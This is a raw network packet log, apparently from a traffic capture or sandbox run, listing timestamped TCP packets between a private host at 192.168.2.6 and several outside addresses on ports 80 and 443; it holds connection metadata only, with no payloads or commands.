Nov 17, 2024 12:35:19.960786104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.960798025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.960856915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.960886002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.960978031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.960989952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.961015940 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.961118937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.961155891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.961162090 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.961633921 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.961675882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.961704969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.961716890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.961761951 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.962066889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.962161064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.962172985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.962184906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.962198973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.962239981 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.064790010 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.065404892 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.065495968 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.065785885 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.065803051 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.077980042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078120947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078133106 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078181028 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078191996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078219891 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.078219891 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.078370094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078378916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078516960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078592062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078603029 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.078623056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.078623056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.078651905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.078917027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.079010010 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.079047918 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.092706919 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.092736006 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.092746019 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.092762947 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.092792988 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:20.092808008 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.092832088 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.092847109 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:20.092848063 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:20.092875957 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:20.093419075 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.093489885 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:20.093497038 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.094089031 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.094137907 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:20.095686913 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.096281052 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.096299887 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.096960068 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.096973896 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.103368044 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:20.103391886 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.103406906 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:20.103414059 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:20.125371933 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.125988007 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.126044035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.126049042 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.126106024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.126116037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.126142025 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.126379013 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.126394033 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.127615929 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.127937078 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.127953053 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.128453970 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.128459930 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.133006096 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.133327007 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.133349895 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.133809090 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.133815050 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.173981905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.193159103 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.193348885 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.193583012 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.193583012 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.193583012 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.195301056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.195364952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.195377111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.195422888 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.195499897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.195511103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.195533991 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.195616961 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.195681095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.195693016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.195745945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.195745945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.196018934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.196064949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.196075916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.196379900 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.196417093 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.196422100 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.196495056 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.196630001 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.196638107 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.222894907 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.223301888 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.223392010 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.223563910 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.223582029 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.223607063 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.223617077 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.225971937 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.226005077 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.226408005 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.226553917 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.226567984 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.236484051 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.243782997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.243837118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.243871927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.243901968 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.243906975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.244246006 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.255635977 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.255778074 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.255958080 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.255958080 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.256040096 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.256078005 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.256593943 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.257256031 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.257400990 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.257582903 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.257601976 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.257618904 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.257626057 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.258521080 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.258593082 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.258734941 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.258855104 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.258877993 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.259857893 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.259886980 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.260024071 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.260134935 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.260154009 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.266943932 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.267349958 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.267405033 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.267436028 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.267452002 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.267463923 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.267468929 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.270138979 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.270169020 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.270234108 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.270443916 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.270468950 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.312716007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.312753916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.312799931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.312804937 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.312872887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.312908888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.312927008 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.313101053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.313158035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.313191891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.313213110 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.313652039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.357088089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.357170105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.357208967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.357266903 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.360796928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.360831976 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.360868931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.360904932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.360917091 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.360917091 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.360939980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.360975027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.361150026 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.432312965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.432326078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.432337999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.432373047 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.432620049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.432632923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.432665110 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.432682991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.432693958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.432773113 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.474061966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.474107981 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.474117041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.474164963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.474519968 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.477760077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.477818012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.477853060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.477890015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.477940083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.477940083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.478056908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.478111982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.478157043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.478199005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.502213001 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.502279997 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.517736912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.549401045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.549735069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.549747944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.549760103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.549772024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.549783945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.549797058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.549844027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.549844027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.549884081 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.591367006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.591409922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.591424942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.591443062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.591459990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.591464996 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.591464996 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.591500998 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.595273972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.595419884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.595437050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.595459938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.595474958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.595490932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.595495939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.595495939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.595554113 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.664280891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.664313078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.664329052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.664346933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.664383888 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.664411068 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.664506912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.664518118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.664911032 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.708565950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.708607912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.708621025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.708681107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.709314108 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.709332943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.709357977 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.712248087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.712359905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.712373018 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.712395906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.712408066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.712413073 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.712413073 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.712450981 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.712594986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.712646961 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.712809086 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.781497002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.781526089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.781538963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.781721115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.781730890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.781743050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.781755924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.781793118 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.781794071 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.825802088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.825824022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.825839996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.825858116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.825867891 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.825957060 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.825967073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.825983047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.826047897 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.829452991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.829468966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.829484940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.829499006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.829514027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.829528093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.829545975 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.829545975 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.829566002 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.829751015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.829763889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.829961061 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.898715019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.898737907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.898760080 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.898777008 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.898791075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.898808002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.898828030 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.898828030 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.898909092 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.927675962 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.928139925 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.928157091 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.928672075 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:20.928679943 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:20.942856073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.942882061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.942898989 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.942958117 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.943104982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.943128109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.943155050 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.946564913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.946578026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.946626902 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.946774006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.946788073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.946803093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.946836948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.946856022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.946856022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.947202921 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.947266102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.947282076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:20.947304964 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:20.947340965 CET	49751	80	192.168.2.6	185.215.113.16
